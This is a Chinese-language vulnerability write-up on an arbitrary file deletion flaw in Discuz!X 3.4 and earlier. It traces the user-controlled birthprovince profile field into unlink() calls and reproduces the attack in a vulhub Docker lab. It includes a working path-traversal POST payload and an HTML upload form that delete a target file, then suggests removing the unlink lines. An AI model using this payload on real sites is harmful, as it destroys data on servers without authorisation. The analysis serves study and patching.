Discuz!X ≤3.4 任意文件删除漏洞
Discuz!X ≤3.4 任意文件删除漏洞
简述
漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。
漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复
漏洞原理分析
在home.php
中存在,get参数不满足条件时进入
require_once libfile('home/'.$mod, 'module');
libfile
(功能:构造文件路径)
function libfile($libname, $folder = '') {
$libpath = '/source/'.$folder;
if(strstr($libname, '/')) {
list($pre, $name) = explode('/', $libname);
$path = "{$libpath}/{$pre}/{$pre}_{$name}";
} else {
$path = "{$libpath}/{$libname}";
}
return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}
利用中的请求的Get请求:mod=spacecp&ac=profile&op=base
经过处理返回到home_spacecp.php
在此文件中最后一行,引入文件spacecp_profile.php
问题所在文件:spacecp_profile.php
upload/source/include/spacecp/spacecp_profile.php
进入代码70行
if(submitcheck('profilesubmit')) {
提交profilesubmit
进入判断
第185行开始对文件上传进行处理,下接第205行
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}
文件上传成功,!$upload->error()
进入unlink语句
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
回溯变量$space[$key]
(用户的个人设置)
$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');
从数据库查询用户相关的信息保存到变量$space中。birthprovince
就是其中之一。
因为birthprovince
可控,所以利用这一变量,在设置页面提交即可绕过字段内容的限制
此时$space[key] = $space[birthprovince] = '../../../robots.txt'
漏洞复现
启动环境
用的vulhub-master进行复现
启动docker
sudo systemctl start docker
运行环境
cd /vulhub-master/discuz/x3.4-arbitrary-file-deletion
docker-compose up -d
复现
docker exec [容器] ls
查看目录下文件
注册并且登录后进入个人资料 查看源码找到formhash
(第二个)
请求
home.php?mod=spacecp&ac=profile&op=base
POST:
birthprovince=../../../robots.txt&profilesubmit=1&formhash=b7a54465
其中formhash为用户hash
修改成功后出生地会变为../../../robots.txt
新建一个upload.html,构造请求向home.php?mod=spacecp&ac=profile&op=base
上传文件
<body>
<form action="http://ip/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
刷新页面发现出生地变成了图片地址
请求后docker exec [容器] ls
发现目标文件(robots.txt)已经被删除了
漏洞修复
直接删除几条unlink语句